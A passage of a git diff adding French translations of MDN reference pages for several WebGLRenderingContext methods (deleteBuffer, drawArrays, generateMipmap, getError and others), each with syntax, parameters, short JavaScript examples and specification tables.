+ <li>{{domxref("WebGLRenderingContext.isTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.texImage2D()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/deletebuffer/index.html b/files/fr/web/api/webglrenderingcontext/deletebuffer/index.html
new file mode 100644
index 0000000000..a7bc9b857a
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/deletebuffer/index.html
@@ -0,0 +1,79 @@
+---
+title: WebGLRenderingContext.deleteBuffer()
+slug: Web/API/WebGLRenderingContext/deleteBuffer
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/deleteBuffer
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.deleteBuffer()</code></strong> de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> supprime le {{domxref ("WebGLBuffer")}} indiqué. Cette méthode n'a aucun effet si le tampon a déjà été supprimé.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.deleteBuffer(<em>tampon</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>tampon</dt>
+ <dd>Un objet {{domxref("WebGLBuffer")}} à supprimer.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Aucune.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Suppression_d'un_tampon">Suppression d'un tampon</h3>
+
+<pre class="brush: js">var canevas = document.getElementById('canevas');
+var gl = canevas.getContext('webgl');
+var tampon = gl.createBuffer();
+
+// ...
+
+gl.deleteBuffer(tampon);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.5", "deleteBuffer")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glDeleteBuffers.xml", "glDeleteBuffers")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man de l’API OpenGL (similaire).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.deleteBuffer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.bindBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isBuffer()")}}</li>
+ <li>Autres tampons : {{domxref("WebGLFramebuffer")}}, {{domxref("WebGLRenderbuffer")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/deleteshader/index.html b/files/fr/web/api/webglrenderingcontext/deleteshader/index.html
new file mode 100644
index 0000000000..935c400d56
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/deleteshader/index.html
@@ -0,0 +1,72 @@
+---
+title: WebGLRenderingContext.deleteShader()
+slug: Web/API/WebGLRenderingContext/deleteShader
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/deleteShader
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.deleteShader()</code></strong> de l'API WebGL marque l'objet {{domxref("WebGLShader")}} indiqué pour suppression. Il sera ensuite supprimé dès que le shader ne sera plus utilisé. Cette méthode n'a aucun effet si le shader a déjà été supprimé, et le {{domxref ("WebGLShader")}} est automatiquement marqué pour la suppression lorsqu'il est détruit par le garbage collector.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.deleteShader(<var>shader</var>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>shader</dt>
+ <dd>Un objet {{domxref("WebGLShader")}} à détruire.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Aucune.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Suppression_d'un_shader">Suppression d'un shader</h3>
+
+<pre class="brush: js">gl.deleteShader(shader);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.9", "deleteShader")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glDeleteShader.xml", "glDeleteShader")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man de l'API OpenGL (similaire).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tbleau de compatibilité de cette page est généré à partir de données structurée. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.deleteShader")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.createShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getAttachedShaders()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/drawarrays/index.html b/files/fr/web/api/webglrenderingcontext/drawarrays/index.html
new file mode 100644
index 0000000000..7822633a54
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/drawarrays/index.html
@@ -0,0 +1,101 @@
+---
+title: WebGLRenderingContext.drawArrays()
+slug: Web/API/WebGLRenderingContext/drawArrays
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/drawArrays
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.drawArrays()</code></strong> de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> dessine des primitives à partir de données tabulaires.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.drawArrays(<var>mode</var>, <em>premier</em>, <var>compte</var>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>mode</code></dt>
+ <dd>Un {{domxref ("GLenum")}} indiquant la primitive de type à dessiner. Les valeurs possibles sont :
+ <ul>
+  <li><code>gl.POINTS</code> : dessine un seul point ;</li>
+  <li><code>gl.LINE_STRIP</code> : dessine une ligne droite jusqu'au sommet suivant ;</li>
+  <li><code>gl.LINE_LOOP</code> : dessine une ligne droite jusqu'au sommet suivant, et relie le dernier sommet au premier ;</li>
+  <li><code>gl.LINES</code> : dessine une ligne entre une paire de sommets ;</li>
+  <li><code><a href="https://en.wikipedia.org/wiki/Triangle_strip">gl.TRIANGLE_STRIP</a></code></li>
+  <li><code><a href="https://en.wikipedia.org/wiki/Triangle_fan">gl.TRIANGLE_FAN</a></code></li>
+  <li><code>gl.TRIANGLES</code> : dessine un triangle pour un groupe de trois sommets.</li>
+ </ul>
+ </dd>
+ <dt><code>premier</code></dt>
+ <dd>Un {{domxref("GLint")}} indiquant de l'indice de départ dans le tableau des points des vecteurs.</dd>
+ <dt><code>compte</code></dt>
+ <dd>Un {{domxref("GLsizei")}} indiquant le nombre d'indices à dessiner.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>None.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>Si <code>mode</code> n'est pas l'une des valeurs acceptables, une erreur <code>gl.INVALID_ENUM</code> est déclenchée.</li>
+ <li>Si <code>premier</code> ou <code>compte</code> sont négatifs, une erreur <code>gl.INVALID_VALUE</code> est déclenchée.</li>
+ <li>Si <code>gl.CURRENT_PROGRAM</code> est {{jsxref("null")}}, une erreur <code>gl.INVALID_OPERATION</code> est déclenchée.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">gl.drawArrays(gl.POINTS, 0, 8);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.11", "drawArrays")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>
+    <p> </p>
+    Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glDrawArrays.xml", "glDrawArrays")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>
+    <p>Page man de l’API OpenGL.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.drawArrays")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.drawElements()")}}</li>
+ <li>{{domxref("ANGLE_instanced_arrays.drawArraysInstancedANGLE()", "ext.drawArraysInstancedANGLE()")}}</li>
+ <li>{{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}</li>
+ <li>{{domxref("ANGLE_instanced_arrays.vertexAttribDivisorANGLE()", "ext.vertexAttribDivisorANGLE()")}}</li>
+ <li>{{domxref("WebGL2RenderingContext.drawArraysInstanced()")}}</li>
+ <li>{{domxref("WebGL2RenderingContext.drawElementsInstanced()")}}</li>
+ <li>{{domxref("WebGL2RenderingContext.vertexAttribDivisor()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/enablevertexattribarray/index.html b/files/fr/web/api/webglrenderingcontext/enablevertexattribarray/index.html
new file mode 100644
index 0000000000..c9fca5e6f6
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/enablevertexattribarray/index.html
@@ -0,0 +1,123 @@
+---
+title: WebGLRenderingContext.enableVertexAttribArray()
+slug: Web/API/WebGLRenderingContext/enableVertexAttribArray
+tags:
+  - 3D
+  - API
+  - API WebGL
+  - Attributs des Sommets
+  - Graphiques
+  - Méthode
+  - Reference
+  - Tableau des Attributs
+  - WebGL
+  - WebGLRenderingContext
+  - enableVertexAttribArray
+  - shader de sommet
+  - sommet
+translation_of: Web/API/WebGLRenderingContext/enableVertexAttribArray
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode {{domxref ("WebGLRenderingContext")}} <strong><code>enableVertexAttribArray()</code> -</strong> qui fait partie de l'API WebGL - active le tableau générique des attributs de sommet à l'indice spécifié dans la liste des tableaux d'attributs.</p>
+
+<div class="note">
+<p>Vous pouvez désactiver le tableau d'attributs en appelant {{domxref("WebGLRenderingContext.disableVertexAttribArray", "disableVertexAttribArray()")}}.</p>
+</div>
+
+<p>Dans WebGL, les valeurs s'appliquant à un sommet particulier sont stockées dans des attributs. Ceux-ci ne sont disponibles que pour le code JavaScript et le shader de sommet. Les attributs sont référencés par un numéro d'indice dans la liste des attributs gérés par la GPU. Certains indices d'attributs de sommet peuvent avoir des buts prédéfinis, suivant la plate-forme et/ou la GPU. D'autres sont affectés par la couche WebGL lorsque vous créez les attributs.</p>
+
+<p>De toute façon, puisque les attributs ne peuvent pas être utilisés sauf s'ils sont activés, et ils sont activés par défaut, vous devez appeler <code>enableVertexAttribArray()</code> pour activer les attributs individuels, afin qu'ils puissent être utilisés. Ceci fait, d'autres méthodes peuvent être utilisées pour accéder à l'attribut, y compris {{domxref("WebGLRenderingContext.vertexAttribPointer", "vertexAttribPointer()")}}, {{domxref("WebGLRenderingContext.vertexAttrib", "vertexAttrib*()")}}, et {{domxref("WebGLRenderingContext.getVertexAttrib"," getVertexAttrib()")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.enableVertexAttribArray(<var>indice</var>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>indice</code></dt>
+ <dd>Un {{domxref("GLuint")}} indiquant le numéro d'indice identifiant de façon unique l'attribut de sommet à activer. Si vous connaissez le nom de l'attribut mais pas son indice, vous pouvez obtenir l'indice en appelant {{domxref ("WebGLRenderingContext.getAttribLocation", "getAttribLocation()")}}.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p><code>undefined</code>.</p>
+
+<h3 id="Erreurs">Erreurs</h3>
+
+<p>Pour vérifier d'éventuelles erreurs  après l'appel à <code>enableVertexAttribArray()</code>, appelez {{domxref("WebGLRenderingContext.getError", "getError()")}}.</p>
+
+<dl>
+ <dt><code>WebGLRenderingContext.INVALID_VALUE</code></dt>
+ <dd>L'<code>indice</code> spécifié est invalide, c'est-à-dire qu'il est supérieur ou égal au nombre maximal d'entrées autorisées dans la liste des attributs de sommet du contexte, comme indiqué par la valeur de <code>WebGLRenderingContext.MAX_VERTEX_ATTRIBS</code>.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Ce code — un extrait de l'exemple complet <a href="/fr-FR/docs/Web/API/WebGL_API/Basic_2D_animation_example">Un exemple d'animation 2D WebGL de base</a> — montre l'utilisation de <code>enableVertexArray()</code> pour activer l'attribut qui sera utilisé par la couche WebGL pour passer des sommets individuels depuis le tampon des sommets à la fonction shader de sommet.</p>
+
+<pre class="brush: js highlight[6]">gl.bindBuffer(gl.ARRAY_BUFFER, vertexBuffer);
+
+aVertexPosition =
+    gl.getAttribLocation(programmeShader, "aVertexPosition");
+
+gl.enableVertexAttribArray(aVertexPosition);
+gl.vertexAttribPointer(aVertexPosition, vertexNumComponents,
+      gl.FLOAT, false, 0, 0);
+
+gl.drawArrays(gl.TRIANGLES, 0, vertexCount);</pre>
+
+<div class="callout-box">Cet extrait de code provient de <a href="/fr-FR/docs/Web/API/WebGL_API/Basic_2D_animation_example#Drawing_and_animating_the_scene">la fonction animateScene()</a> dans "Un exemple d'animation WebGL 2D de base". Voir cet article pour l'exemple complet et pour voir l'animation résultante en action.</div>
+
+<p> </p>
+
+<p>Ce code définit le tampon des sommets qui sera utilisé pour dessiner les triangles de la forme en appelant {{domxref("WebGLRenderingContext.bindBuffer", "bindBuffer()")}}. Ensuite, l'indice de l'attribut de position des sommets est obtenu à partir du programme shader en appelant {{domxref("WebGLRenderingContext.getAttribLocation", "getAttribLocation()")}}.</p>
+
+<p>Avec l'indice de l'attribut de position des sommets maintenant disponible dans <code>aVertexPosition</code>, nous appelons <code>enableVertexAttribArray()</code> pour activer l'attribut de position afin qu'il puisse être utilisé par le programme shader (en particulier, par le shader de sommet).</p>
+
+<p>Le tampon des sommets est alors lié à l'attribut <code>aVertexPosition</code> en appelant {{domxref("WebGLRenderingContext.vertexAttribPointer", "vertexAttribPointer()")}}. Cette étape n'est pas évidente, puisque cette liaison est presque un effet de biais. Mais cela a pour résultat qu'un accès à <code>aVertexPosition</code> récupére désormais des données à partir du tampon des sommets.</p>
+
+<p>Avec l'association définie entre le tampon des sommets de notre forme et l'attribut <code>aVertexPosition</code> utilisé pour fournir les sommets un par un dans le shader de sommet, nous sommes prêts à dessiner la forme en appelant {{domxref ("WebGLRenderingContext.drawArrays", "drawArrays()")}}.</p>
+
+<p> </p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.10", "enableVertexAttribArray")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glEnableVertexAttribArray.xml", "glEnableVertexAttribArray")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>
+    <p>Page man de l’API OpenGL.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.enableVertexAttribArray")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr-FR/docs/Web/API/WebGL_API/Data">Données en WebGL</a></li>
+ <li><a href="/fr-FR/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context">Ajout de contenu 2D à un contexte WebGL</a></li>
+ <li><a href="/fr-FR/docs/Web/API/WebGL_API/Basic_2D_animation_example">Un exemple d'animation WebGL 2D de base</a></li>
+ <li>{{domxref("WebGLRenderingContext.disableVertexAttribArray", "disableVertexAttribArray()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/generatemipmap/index.html b/files/fr/web/api/webglrenderingcontext/generatemipmap/index.html
new file mode 100644
index 0000000000..cd07f92c21
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/generatemipmap/index.html
@@ -0,0 +1,93 @@
+---
+title: WebGLRenderingContext.generateMipmap()
+slug: Web/API/WebGLRenderingContext/generateMipmap
+tags:
+  - API
+  - Méthode
+  - Reference
+  - Textures
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/generateMipmap
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.generateMipmap()</code></strong> de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> génère un ensemble de mipmaps pour un objet {{domxref("WebGLTexture")}}.</p>
+
+<p>Les mipmaps sont utilisées pour créer de la distance avec des objets. Une mipmap de haute résolution est utilisée pour les objets qui sont proches, et une mipmap de résolution inférieure est utilisée pour les objets qui sont plus éloignés. Elles commencent avec la résolution de l'image de texture, puis la résolution est divisée par deux jusqu'à ce qu'une image de texture de dimension 1x1 soit créée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.generateMipmap(<em>cible</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>cible</dt>
+ <dd>Un {{domxref("GLenum")}} indiquant le point de liaison (cible) de la texture active dont les mipmaps seront générées. Valeurs possibles :
+ <ul>
+  <li><code>gl.TEXTURE_2D</code> : une  texture bi-dimensionnelle.</li>
+  <li><code>gl.TEXTURE_CUBE_MAP</code> : une texture appliquée sur un cube.</li>
+  <li>Lorsqu'un {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}} est utilisé, les valeurs suivantes sont en outre disponibles :
+   <ul>
+    <li><code>gl.TEXTURE_3D</code> : une texture tri-dimensionnelle.</li>
+    <li><code>gl.TEXTURE_2D_ARRAY</code> : une texture bi-dimensionnelle en tableau.</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Aucune.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">gl.generateMipmap(gl.TEXTURE_2D);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.8", "generateMipmap")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale pour WebGL.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glGenerateMipmap.xml", "glGenerateMipmap")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man de l'API (similaire) d'OpenGL ES 2.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 3.0', "glGenerateMipmap.xhtml", "glGenerateMipmap")}}</td>
+   <td>{{Spec2('OpenGL ES 3.0')}}</td>
+   <td>Page man de l'API (similaire) d'OpenGL ES 3.0<br>
+    Ajoute : <code>gl.TEXTURE_3D</code> et <code>gl.TEXTURE_2D_ARRAY</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.generateMipmap")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.createTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.bindTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getTexParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.texParameter", "WebGLRenderingContext.texParameterf()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.texParameter", "WebGLRenderingContext.texParameteri()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/getattriblocation/index.html b/files/fr/web/api/webglrenderingcontext/getattriblocation/index.html
new file mode 100644
index 0000000000..a5977cc61f
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/getattriblocation/index.html
@@ -0,0 +1,71 @@
+---
+title: WebGLRenderingContext.getAttribLocation()
+slug: Web/API/WebGLRenderingContext/getAttribLocation
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/getAttribLocation
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.getAttribLocation()</code></strong> de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> retourne l'emplacement d'une variable d'attribut dans le {{domxref("WebGLProgram")}} indiqué.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">GLint <var>gl</var>.getAttribLocation(<var>programme</var>, <var>nom</var>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>programme</dt>
+ <dd>Un {{domxref("WebGLProgram")}} contenant la variable d'attribut.</dd>
+ <dt>nom</dt>
+ <dd>Un {{domxref("DOMString")}} indiquant le nom de la variable d'attribut dont l'emplacement est à retourner.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Un nombre {{domxref("GLint")}} indiquant l'emplacement du nom de la variable si trouvé. Retourne -1 sinon.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">gl.getAttribLocation(programme, 'vColor');
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.10", "getAttribLocation")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glGetAttribLocation.xml", "glGetAttribLocation")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page principale de l'API OpenGL.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.getAttribLocation")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.getUniformLocation()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/geterror/index.html b/files/fr/web/api/webglrenderingcontext/geterror/index.html
new file mode 100644
index 0000000000..aca512ff06
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/geterror/index.html
@@ -0,0 +1,107 @@
+---
+title: WebGLRenderingContext.getError()
+slug: Web/API/WebGLRenderingContext/getError
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/getError
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.getError()</code></strong> de l'<a href="/fr-Fr/docs/Web/API/WebGL_API">API WebGL</a> retourne des informations d'erreur.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">GLenum <var>gl</var>.getError();
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constante</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>gl.NO_ERROR</code></td>
+   <td>Aucune erreur n'a été enregistrée. La valeur de cette constante est 0.</td>
+  </tr>
+  <tr>
+   <td><code>gl.INVALID_ENUM</code></td>
+   <td>Une valeur non acceptable a été spécifiée pour un argument énuméré. La commande est ignorée et l'indicateur d'erreur est positionné.</td>
+  </tr>
+  <tr>
+   <td><code>gl.INVALID_VALUE</code></td>
+   <td>Un argument numérique est hors de sa plage. La commande est ignorée et l'indicateur d'erreur est positionné.</td>
+  </tr>
+  <tr>
+   <td><code>gl.INVALID_OPERATION</code></td>
+   <td>La commande indiquée n'est pas permise dans l'état courant. La commande est ignorée et l'indicateur d'erreur est positionné.</td>
+  </tr>
+  <tr>
+   <td><code>gl.INVALID_FRAMEBUFFER_OPERATION</code></td>
+   <td>Le tampon d'images actuellement lié n'est pas complet lors d'une tentative de rendu ou de relecture.</td>
+  </tr>
+  <tr>
+   <td><code>gl.OUT_OF_MEMORY</code></td>
+   <td>Plus assez de mémoire restante pour exécuter la commande.</td>
+  </tr>
+  <tr>
+   <td><code>gl.CONTEXT_LOST_WEBGL</code></td>
+   <td>Si le contexte WebGL est perdu, cette erreur est retournée lors du premier appel à <code>getError</code>. Après cela et jusqu'à ce que le contexte soit restauré, elle retourne <code>gl.NO_ERROR</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">gl.getError(); // gl.NO_ERROR (0)
+
+gl.enable(gl.MACHINTRUC);
+gl.getError(); // gl.INVALID_ENUM;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.3", "getError")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glGetError.xml", "glGetError")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man de l'API OpenGL.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité dans cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.getError")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext")}}</li>
+ <li>{{domxref("WebGLContextEvent")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/getshaderparameter/index.html b/files/fr/web/api/webglrenderingcontext/getshaderparameter/index.html
new file mode 100644
index 0000000000..8d5b2d3599
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/getshaderparameter/index.html
@@ -0,0 +1,77 @@
+---
+title: WebGLRenderingContext.getShaderParameter()
